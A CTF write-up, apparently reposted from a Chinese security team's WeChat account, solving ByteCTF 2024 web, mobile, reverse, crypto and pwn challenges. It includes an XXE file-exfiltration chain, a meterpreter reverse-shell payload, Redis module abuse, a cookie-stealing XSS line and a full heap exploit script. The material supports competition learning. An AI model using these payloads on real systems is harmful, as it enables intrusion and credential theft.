ByteCTF 2024 writeup by Arr3stY0u

admin 2024年9月23日15:13:12评论66 views字数 16468阅读54分53秒阅读模式

ByteCTF 2024 writeup by Arr3stY0u

HEADER

山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻“逮捕你”)战队与W4ntY0u(意喻“通缉你”)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~

CTF组招新联系QQ2944508194

获取题目下载链接请后台回复:bytectf2024

WEB

ezobj

读取config.php文件

byte=SimpleXMLElement&ctf[]=http://xxx.xxx.xxx.xxx/evil.xml&ctf[]=2&ctf[]=1

send.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">  <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">

evil.xml

<?xml version="1.0"?>  <!DOCTYPE ANY[  <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml">  %remote;  %all;  %send;  ]>

写入so文件和一个wmv文件,用msf生成so

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=123.58.220.97 LPORT=42001 -f elf-so -o payload.socat payload.so | base64

用imagick去写文件

POST /?byte=Imagick&ctf[]=vid:msl:/tmp/php*&so=123&key=HelloByteCTF2024 HTTP/1.1Host: ea891011.clsadp.comContent-Length: 1128Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV3bWGRuKUejvH3UAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close------WebKitFormBoundaryV3bWGRuKUejvH3UAContent-Disposition: form-data; name="file"; filename="ml.xml"Content-Type: text/xml<?xml version="1.0" encoding="UTF-8"?><image><read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgCkEXs63GFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/><write filename="/tmp/123.so" /><read filename="inline:data:text/8BIM;base64,cGF5bG9hZC5zbwo="/><write filename="/tmp/321.wmv" /></image>------WebKitFormBoundaryV3bWGRuKUejvH3UA--

加载so文件到LD_PRELOAD,然后用imagick去触发

/?byte=Imagick&ctf[]=/tmp/321.wmv&so=123&key=HelloByteCTF2024

拿下权限以后,查看进程发现redis是root启动

在redis.conf里查看密码,登录到redis中

下载这个 exp.so https://github.com/n0b0dyCN/redis-rogue-server/

上传exp.so到/tmp下

给exp.so加执行权限

MODULE LOAD /tmp/exp.sosystem.exec "cat /root/flag"

OnlyBypassMe

ByteCTF 2024 writeup by Arr3stY0u

扫后台

/swagger-ui/index.html/v3/api-docs

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

/swagger-ui/index.html是一个管理api的UI界面,这边标题下面有一个登录接口文档/v3/api-docs/login(应该是扫出来第二个敏感路由的一部分)

用于更新用户头像有两个接口。updateAvatarV1版本已经被标记为废弃,参数是图片url,总感觉这边配合头像读取接口可以任意文件读取,但是没读出来。

ByteCTF 2024 writeup by Arr3stY0u

/v3/api-docs是个api文档。里面有UI那边没有的登录接口/api/v1/auth/login。还有个更新用户权限的接口/api/v1/users/updatePermission(后面都要用)

ByteCTF 2024 writeup by Arr3stY0u

先注册一个账号/api/v1/users/register

{"username": "Jay17","email": "[email protected]","password": "@Jsj123456","confirmPassword": "@Jsj123456"}

ByteCTF 2024 writeup by Arr3stY0u

然后登录/api/v1/auth/login

{"username": "Jay17","password": "@Jsj123456","rememberMe": true}

ByteCTF 2024 writeup by Arr3stY0u

登录之后先尝试通过接口/api/v1/secret/flag/flag/去读一下flag

发现权限不足

ByteCTF 2024 writeup by Arr3stY0u

还有一个看用户信息的接口/api/v1/users/info(是没写好吗?换一个号登录后info中还是最开始登录的用户的信息)

可以看到这边"roleId" : 4应该标志着用户权限

ByteCTF 2024 writeup by Arr3stY0u

咱们去之前提到的修改权限的接口修改下试试/api/v1/users/updatePermission

{"userId": "bbpvfzlqaeoq","roleId": "3"}

roleId修改成3、2都可以,唯独1不行。(/api/v1/users/info接口中的用户信息内容也不会更新,一开始还以为修改不了。。。。还好重新登录后可以看到权限)

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

这里大概能猜出,roleId为1的时候就可以读取flag了,同时这里也就是需要bypass的地方。

1不行的话使用1.或者1.0或者1.x

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

接口处得到flag

ByteCTF 2024 writeup by Arr3stY0u

ezoldbuddy

ByteCTF 2024 writeup by Arr3stY0u

这个登录没有用,纯前端的。

ByteCTF 2024 writeup by Arr3stY0u

注释部分应该是个hint,告诉我们有个路由是/shopbytedancesdhjkf

ByteCTF 2024 writeup by Arr3stY0u

直接访问是403无法访问,后端服务是nginx

ByteCTF 2024 writeup by Arr3stY0u

题目提示了解析差异绕过,比较容易找到这篇文章:

nginx deny限制路径绕过-

https://xz.aliyun.com/t/14966?time__1311=GqAh0KAIwGCD%2FD0lD2DUxYuExIhsKA0BAfeD#toc-8

85A0都可以用,后端应该是python

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

那么现在问题就是,只有500元,但是需要买10000元的flag

ByteCTF 2024 writeup by Arr3stY0u

先随便试试,但是返回了404?????

ByteCTF 2024 writeup by Arr3stY0u

看源码应该是访问了/cart/checkout路由

ByteCTF 2024 writeup by Arr3stY0u

有种无力感。。。这里卡了挺久的

ByteCTF 2024 writeup by Arr3stY0u

但是,没有脑洞怎么当百万富翁?走投无路就要瞎蒙

直接访问/shopbytedancesdhjkf/cart/checkout。好消息是路由存在,坏消息是又403了

ByteCTF 2024 writeup by Arr3stY0u

和之前一样绕过,成功

ByteCTF 2024 writeup by Arr3stY0u

但是买不起怎么办呢。想想怎么bypass。qty这个参数换成1.0。成功但是没有给我flag

ByteCTF 2024 writeup by Arr3stY0u

继续瞎蒙。想到题目描述是百万富翁,一个flag一万,那我们至少买100个以上。

美好的0元购

ByteCTF 2024 writeup by Arr3stY0u

crossvue

就是在用户注册处的profile进行xss就行了然后邀请管理员来访问我们的页面  获取他的cookie 然后替换cookie 访问/admin路径就行了

{{fetch("http://172.16.101.1:12/"+document.cookie)}}

ByteCTF 2024 writeup by Arr3stY0u

ByteCTF 2024 writeup by Arr3stY0u

MOBILE

极限逃脱

改后缀名后解压,反编译ByteCTFDemo文件

ViewController firsButtonClicked里是反调试用的猜随机数代码,跳过

flag校验逻辑位于ViewController secondButtonClicked,逆向该函数

先对{a67be199da4b-b092-bd3e-e777-a67be199da4b}求sha256得到哈希值6c9838a3c6810bdb2633ed5910b8547c09a7a4c08bf69ae3a95c5c37f9e8f57e

分析代码得知flag的5段分别从哈希值指定索引获取后进行字符替换

ByteCTF 2024 writeup by Arr3stY0u

(索引,长度):(1,8) (9,4) (5,4) (5,4) (5,12)

替换:五段flag分别a->b、b->c、c->d、d->e、e->f

最终得到flag:ByteCTF{c9838b3c-6810-8a3d-8a3c-8a3c6810bdb2}

REVERSE

ByteBuffer

import timeimport pygamefrom io import BytesIOimport structimport osbio = BytesIO(open('./ByteBuffer.bin', 'rb').read())def read_u8(): return bio.read(1)[0]def read_u16(): return struct.unpack('<H', bio.read(2))[0]def read_u32(): return struct.unpack('<I', bio.read(4))[0]def read_u64(): return struct.unpack('<Q', bio.read(8))[0]def read_i16(): return struct.unpack('<h', bio.read(2))[0]def read_i32(): return struct.unpack('<i', bio.read(4))[0]def read_i64(): return struct.unpack('<q', bio.read(8))[0]def read_bytes(): return bio.read(read_u32())def read_string():    align = 4    size = read_u32()    align_size = (size+align) & ~(align-1)return bio.read(align_size)[:size].decode()print(read_u32())print(read_u16())print(read_u16())print(read_u16())print(read_u16())print(read_u16())print(read_u16())print(read_u32())print(read_u32())print(read_u32())print(read_u32())print(read_u32())off_edges = []count = read_u32()  # edgefor i in range(count):    off_edges.append(bio.tell()+read_u32())off_dots = []count = read_u32()  # dotfor i in range(count):    off_dots.append(bio.tell()+read_u32())print('-'*80)edges = []for i, off in enumerate(off_edges):    bio.seek(off, os.SEEK_SET)    off = bio.tell()    a = read_i32()    b = read_u32()    frm = read_u32()    to = read_u32()assert read_u32() == 4    name = read_string()    print(i, hex(off), a, b, frm, to, name)    edges.append((name, frm, to))print('-'*80)aa_dots = [(0,0)]*(len(off_dots)+1)dots = []for i, off in enumerate(off_dots):    bio.seek(off, os.SEEK_SET)    off = bio.tell()    a = read_i32()    x = read_u32()    y = read_u32()assert read_u32() == 4    name = read_string()    print(i, hex(off), a, x, y, name)    dots.append((name, x, y))    idx = int(name.split('#')[1], 10)    aa_dots[idx] = ((x, y))pygame.init()screen_width = 1800screen_height = 200screen = pygame.display.set_mode((screen_width, screen_height))red = (255, 0, 0)greem = (0, 255, 0)running = Truewhile running:    screen.fill((0, 0, 0))for event in pygame.event.get():if event.type == pygame.QUIT:            running = Falsefor i, (name, x, y) in enumerate(dots):        pygame.draw.circle(screen, greem, (x, y), 2)for i, (name, frm, to) in enumerate(edges):        p1 = aa_dots[frm]        p2 = aa_dots[to]        pygame.draw.line(screen, red, p1, p2, 1)    pygame.display.flip()pygame.quit()

ByteCTF 2024 writeup by Arr3stY0u

ByteKit

catflag.sh

#!/bin/bashBYTECTF_INPUT_GUID=93e91ed6-1a7a-46a1-b880-c5d281700ea2BYTECTF_OUTPUT_GUID=93e91ed6-1a7a-46a1-b880-c5c281700ea2......

解压bios.bin并根据GUID搜索d6 1e e9 93定位到后门文件ByteKitLoaderDxe.efi。

ByteKitLoaderDxe.efi:ModuleEntryPoint

ByteCTF 2024 writeup by Arr3stY0u

解密pe模块

key = bytes.fromhex('2CE83EE0BC1A0956B9D994')data = bytearray(ida_bytes.get_bytes(0x3A37, 0x6c4))for i in range(len(data)):data[i] ^= key[i%len(key)]print(data.hex())open('image.bin', 'wb').write(data)

ByteCTFDxe.dll:ModuleEntryPoint

ByteCTF 2024 writeup by Arr3stY0u

解密

# 0x4A0data = bytearray(ida_bytes.get_bytes(0x5A0, 32))v12 = 0x4A0+0xd8v13 = 0x4A0v11 = 666while 1:i = ida_bytes.get_qword(v13+8)v15 = i + ida_bytes.get_qword(v13+16)while v15 > i:if i >= 0 and v11 >= i:data[i] ^= ida_bytes.get_byte(v13)i += 1v13 += 24if v12 == v13:breakprint(data)# KEY:By71d@nnc6_Wan77_y@0_zug6666
root@localhost:~# ./getflag.sh KEY:By71d@nnc6_Wan77_y@0_zug6666your input is KEY:By71d@nnc6_Wan77_y@0_zug6666ByteCTF{KEY:By71d@nnc6_Wan77_y@0_zug6666BwAAAEsnQlVIbkEpH15qamZW}

babyapk

先用blutter解析出符号导入ida。

ByteCTF 2024 writeup by Arr3stY0u

babyapk_src_rust_api_simple_::m3N4B5V6_265088

调用librust_lib_babyapk.so

frb_pde_ffi_dispatcher_sync->sub_350B8->sub_39B24->sub_3603C->sub_35534->sub_3AEE0

ByteCTF 2024 writeup by Arr3stY0u

解方程

from claripy import *res = [0x0001EE59, 0x0000022A, 0x00001415, 0x00040714, 0x000013E0, 0x000008B8, 0xFFFDCEA0, 0x0000313B,0x0003D798, 0xFFFFFE6B, 0x00000C4E, 0x00023884, 0x0000008D, 0x00001DB4, 0xFFFC1328, 0x00001EAC,0x00043C64, 0x0000142B, 0xFFFFF622, 0x00023941, 0xFFFFEF6D, 0x0000120C, 0xFFFBD30F, 0x00001EBE,0x00045158, 0xFFFFEF66, 0x00001D3F, 0x0004C46B, 0xFFFFF97A, 0x00001BFD, 0xFFFBA235, 0x00001ED2]numbs = [BVS('', 32) for i in range(32)]s = Solver()for i in range(32):    s.add(numbs[i] >= 32)    s.add(numbs[i] <= 126)v41 = 0for v41 in range(0, 32, 8):    v46 = numbs[v41]    v47 = numbs[v41 + 1]    v45 = numbs[v41 + 2]    v44 = numbs[v41 + 3]    v48 = numbs[v41 + 4]    v49 = numbs[v41 + 5]    v50 = numbs[v41 + 6]    v51 = numbs[v41 + 7]    s.add(v51 + v47 * v44 * v49 - (v46 + v50 + v45 * v48) == res[v41])    v52 = v46 * v49    s.add(v44 - v48 - v46 * v49 + v51 * v47 + v45 + v50 == res[v41 + 1])    s.add(v52 - (v48 + v51 * v47) + v45 + v50 * v44 == res[v41 + 2])    v53 = v48 * v46    s.add(v47 + v48 * v46 - (v51 + v45) + v50 * v49 * v44 == res[v41 + 3])    s.add(v49 * v44 + v47 + v45 * v48 - (v50 + v51 * v46) == res[v41 + 4])    s.add(v52 + v47 * v44 + v45 - (v50 + v48 * v51) == res[v41 + 5])    s.add(v51 - v47 + v45 * v49 + v50 - v53 * v44 == res[v41 + 6])    s.add(v44 - v51 - (v47 + v49) + v53 + v50 * v45 == res[v41+7])for v in s.batch_eval(numbs, 5):    print(bytes(list(v)))# 32e750c8fb214562af22973fb5176b9c# 手动转换成GUID格式# ByteCTF{32e750c8-fb21-4562-af22-973fb5176b9c}

CRYPTO

magic_lfsr

首先,可以假设 key 的 128 位为 128 个未知 bool 量,那么所有的 x1, x2, x3, x4 均能表示为这些 bool 量中的某些 xor 起来的结果,这一点可以预处理

也就是把 x1[i], x2[i], x3[i], x4[i] 表示为 key[j] 的 xor 组合形式

然后对 ff 函数进行打表

for x in range(16):    x0, x1, x2, x3 = map(int, bin(x)[2:].zfill(4))print(x0, x1, x2, x3, ff(x0, x1, x2, x3))
0 0 0 0 00 0 0 1 10 0 1 0 00 0 1 1 10 1 0 0 10 1 0 1 00 1 1 0 10 1 1 1 01 0 0 0 11 0 0 1 01 0 1 0 01 0 1 1 01 1 0 0 01 1 0 1 11 1 1 0 01 1 1 1 1

可以观察发现,除了 1 0 1 0 0 这一行,每四行的值都满足 0 1 0 1 或者 1 0 1 0 的排布,一番推导后可以发现:

out[i] = 1 可以推出 x1[i] ^ x2[i] ^ x4[i] == 1

注意到 out 有 270 位,也就是说期望上我们能得到 270 * 7 / 16 = 118.125 个方程,基本信息量足够

实际计算发现 out.bit_length = 127,加上一定有 key[127] = 1,那么就有 128 个 xor 形方程,理论可以高斯消元解出。实际测试发现应该有线性相关的方程,所以再手动枚举一下 key[126] 即可

完整代码

from Crypto.Cipher import AESfrom Crypto.Util.number import *from Crypto.Util.Padding import padfrom hashlib import sha512from functools import reduce# from secret import flagmask1 = 211151158277430590850506190902325379931mask2 = 314024231732616562506949148198103849397mask3 = 175840838278158851471916948124781906887mask4 = 270726596087586267913580004170375666103print(f'mask1 = {bin(mask1)[2:]}')print(f'mask2 = {bin(mask2)[2:]}')print(f'mask3 = {bin(mask3)[2:]}')print(f'mask4 = {bin(mask4)[2:]}')def lfsr(R, mask):    mask_bin = [int(b) for b in bin(mask)[2:].zfill(128)]    s = reduce(lambda x, y: x ^ y, [R[i] * mask_bin[i] for i in range(128)])    R = 
展开收缩
+ R[:-1]
return (R, s)def ff(x0, x1, x2, x3):return (int(sha512(long_to_bytes(x0 * x2 + x0 + x1**4 + x3**5 + x0 * x1 * x2 * x3 + (x1 * x3) ** 4)).hexdigest(), 16) & 1)out = 1024311481407054984168503188572082106228007820628496173132204098971130766468510095enc = b'rx9duxa15qxd2x81x0bxceq2x8d)*xe9xf0;axadxbe?xa2xb2x1fx88Ox8cxa2[xcbx9axa9x8dxacx0bx85xb4j@]x0e}EF{xb1x91'for x in range(16): x0, x1, x2, x3 = map(int, bin(x)[2:].zfill(4)) print(x0, x1, x2, x3, ff(x0, x1, x2, x3))R = [(1 << (127 - i)) for i in range(128)]R1_NEW, _ = lfsr(R, mask1)R2_NEW, _ = lfsr(R, mask2)R3_NEW, _ = lfsr(R, mask3)R4_NEW, _ = lfsr(R, mask4)equation = [(1 << 127, 1)]for i in range(270): R1_NEW, x1 = lfsr(R1_NEW, mask1) R2_NEW, x2 = lfsr(R2_NEW, mask2) R3_NEW, x3 = lfsr(R3_NEW, mask3) R4_NEW, x4 = lfsr(R4_NEW, mask4)if out >> (269 - i) & 1: equation.append((x1 ^ x2 ^ x4, 1))equation.append((1 << 126, 0)) # 手动枚举print(f'{len(equation) = }')for i in range(128): cur = iwhile (equation[cur][0] >> i & 1) == 0: cur += 1assert cur < len(equation), f'{i}' equation[cur], equation[i] = equation[i], equation[cur]for j in range(i + 1, len(equation)):if (equation[j][0] >> i & 1) == 1: equation[j] = (equation[j][0] ^ equation[i][0], equation[j][1] ^ equation[i][1])key = 0for i in range(127, -1, -1): cur = equation[i][1]for j in range(i + 1, 128):if equation[i][0] >> j & 1: cur ^= key >> j & 1 key |= cur << iprint(bin(key))cipher = AES.new(long_to_bytes(key), mode=AES.MODE_ECB)print(f"flag = {cipher.decrypt(enc)}")

PWN

easyheap

一道经过了奇怪包装的2.27堆题,没有free功能,edit存在几乎任意长度的溢出,add大小不限。考虑打house_of_orange获得large bin chunk,利用堆溢出配合show函数打印字符串的功能实现堆地址和libc地址的泄露,之后再在扩展堆段中使用house_of_orange获得另一个freed堆块,利用其配合上一个large bin chunk触发largebin attack攻击IO_list_all结构体,并通过house_of_cat劫持程序执行流。

EXP:

#coding=utf-8from pwn import *from socket import *context.terminal=['tmux','splitw','-h']context.arch='amd64'context.log_level='debug'global pglobal rglobal scriptELFpath=''libcpath=''DEBUG=2PROCESS=1REMOTE=0run_mode=REMOTEsocket_flag=FalseELFpath='/home/jmpcliff/Desktop/pwn'e=ELF(ELFpath)os.chdir(ELFpath[:ELFpath.rfind('/')])libcpath='/home/jmpcliff/Desktop/libc-2.27.so'#libcpath='/usr/lib/x86_64-linux-gnu/libc-2.31.so'if(libcpath!=''):    libc=ELF(libcpath)script='''    b setbuf'''if(socket_flag==False):if(run_mode==DEBUG):        p=gdb.debug(args=[ELFpath,script])elif(run_mode==PROCESS):        p=process(argv=[ELFpath])elif(run_mode==REMOTE):#p=remote('node4.buuoj.cn',26060)        p=remote('113.201.14.253',36542)else:if(run_mode==DEBUG):        r=gdb.debug(ELFpath,script)elif(run_mode==PROCESS):        r=process(argv=[ELFpath])        pause()    p=remote('127.0.0.1',6666)rut=lambda s :p.recvuntil(s,timeout=0.3)ru=lambda s :p.recvuntil(s)rn=lambda n :p.recv(n)sl=lambda s :p.sendline(s)sls=lambda s :p.sendline(str(s))ss=lambda s :p.send(str(s))s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8,'x00'))it=lambda :p.interactive()b=lambda :gdb.attach(p)bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))get_leaked_libc = lambda :u64(ru(b'x7f')[-6:].ljust(8,b'x00'))LOGTOOL={}def LOGALL():    log.success("**** all result ****")for i in LOGTOOL.items():        log.success("%-20s%s"%(i[0]+":",hex(i[1])))def get_base(a, text_name=ELFpath[0-ELFpath[::-1].find('/'):],libc_name=libcpath[0-libcpath[::-1].find('/'):]):    text_addr = 0    libc_base = 0if libc_name=='libc.so.6':        libc_name='libc'for name, addr in a.libs().items():        print(name,"   ",hex(addr))if text_name in name[0-name[::-1].find('/'):]:        text_addr = addrelif  libc_name in name[0-name[::-1].find('/'):]:#"libc-" in name or "libc." in name or        libc_base = addrreturn text_addr, libc_basedef debug():global pglobal run_modeif(run_mode!=PROCESS):return#text_base, libc_base = get_base(p, 'challenge')# script = '''# set text_base = {}# set libc_base = {}# b malloc# '''.format(text_base, libc_base)if(context.arch=='amd64' or context.arch=='i386'):if socket_flag==False:            gdb.attach(p, script)else:            gdb.attach(r, script)else:        os.system("tmux splitw -h")        os.system("tmux send-keys "gdb-multiarch -ex   "target remote 127.0.0.1:1234  "" C-m")        os.system("tmux send-keys "+script+" C-m")        os.system("tmux select-pane -t 0")def ptrxor(pos,ptr):return p64((pos >> 12) ^ ptr)def create_link_map(l_addr,know_got,link_map_addr):    link_map=p64(l_addr & (2 ** 64 - 1))     #dyn_relplt    link_map+=p64(0)    link_map+=p64(link_map_addr+0x18)        #ptr2relplt#relplt    link_map+=p64((know_got - l_addr)&(2**64-1))        link_map+=p64(0x7)    link_map+=p64(0)#dyn_symtab    link_map+=p64(0)    link_map+=p64(know_got-0x8)    link_map+=b'/flagx00x00x00'    link_map=link_map.ljust(0x68,b'B')    link_map+=p64(link_map_addr)        #ptr2dyn_strtab_addr    link_map+=p64(link_map_addr+0x30)        #ptr2dyn_symtab_addr    link_map=link_map.ljust(0xf8,b'C')    link_map+=p64(link_map_addr+0x8)        #ptr2dyn_relplt_addrreturn link_mapdef cmd(idx):    ru("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:")    sl(str(idx))def add(size):    cmd(1)    ru("Enter size to add:")    sl(str(size))def dele(size):    cmd(2)    ru("Enter size to free:")    sl(str(size))def show(idx):    cmd(3)    ru("Enter index to show:")    sl(str(idx))def edit(idx,size,content):    cmd(4)    ru("Enter index to edit:")    sl(str(idx))    ru("input size")    sl(str(size))    ru("input")    sl(content)if(run_mode==PROCESS):    script='''        b exit        b _IO_switch_to_wget_mode    '''''''''add(0x10)   #0edit(0,0x20,0x18*b'a'+p64(0xd91))add(0x2000) #1add(0x2280) #2edit(0,0x20,0x20*b'a')show(0)ru(0x20*"a")libcbase=u64(rn(6).ljust(8,b'x00'))-0x3ec2a0LOGTOOL['libcbase']=libcbaseedit(0,0x30,0x30*b'a')show(0)ru(0x30*"a")heapbase=u64(rn(6).ljust(8,b'x00'))-0x270LOGTOOL['heapbase']=heapbaseIO_list_all=libcbase+libc.sym['_IO_list_all']edit(0,0x40,0x18*b'a'+p64(0xd71)+p64(0)*3+p64(IO_list_all-0x20))edit(2,0x2290,0x2288*b'a'+p64(0xd61))add(0x3000) #2add(0x3000) #2fake_io=heapbase+0x252a0IO_file_jumps=libcbase+0x3e82a0LOGTOOL["IO_file_jump"]=IO_file_jumpsIO_wfile_jumps=libcbase+0x3e7d60LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumpsexecve_addr=libcbase+libc.sym['execve']LOGTOOL['execve']=execve_addrsetcontext_53=libcbase+libc.symbols['setcontext']+53LOGTOOL['setcontext_61']=setcontext_53ogg=libcbase+0x4f322rop=b'/bin/shx00'pay=flat({0x0:p64(0),0x8:[p64(0),p64(0),p64(0),p64(0),p64(0)],0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data0x70:p64(0),0x88:p64(fake_io+0x1e8),0xa0:[p64(fake_io+0x30)],0xc0:[p64(1)],   #_mode0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable0x110:[p64(fake_io+0x118)], # wide_data -> vtable0x118:flat({0x18:[p64(ogg)]},filler=b'x00'),0x138:flat({0x28:p64(fake_io+0x118),0x68:p64(fake_io+0x1e8),    # rdi 0x70:p64(0),                # rsi0x88:p64(0),                # rdx0xa0:p64(fake_io+0x1f8),    # rsp0xa8:p64(0)       # ret_addr},filler=b'x00'),0x1e8:flat({0x00:p64(0)+p64(0),0x10:rop},filler=b'x00')},filler=b'x00')#debug()edit(2,0x2280+len(pay),0x2280*b'a'+pay)cmd(0)LOGALL()it()

FOOTER

承接CTF培训,代码审计,渗透测试,物联网、车联网、工控设备漏洞挖掘等安全项目,长期收一手bc案源,如有其他商务合作也可以联系微信:littlefoursec(备注来由,否则不通过)。

原文始发于微信公众号(山海之关):ByteCTF 2024 writeup by Arr3stY0u

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月23日15:13:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ByteCTF 2024 writeup by Arr3stY0uhttps://cn-sec.com/archives/3197527.html

发表评论

匿名网友 填写信息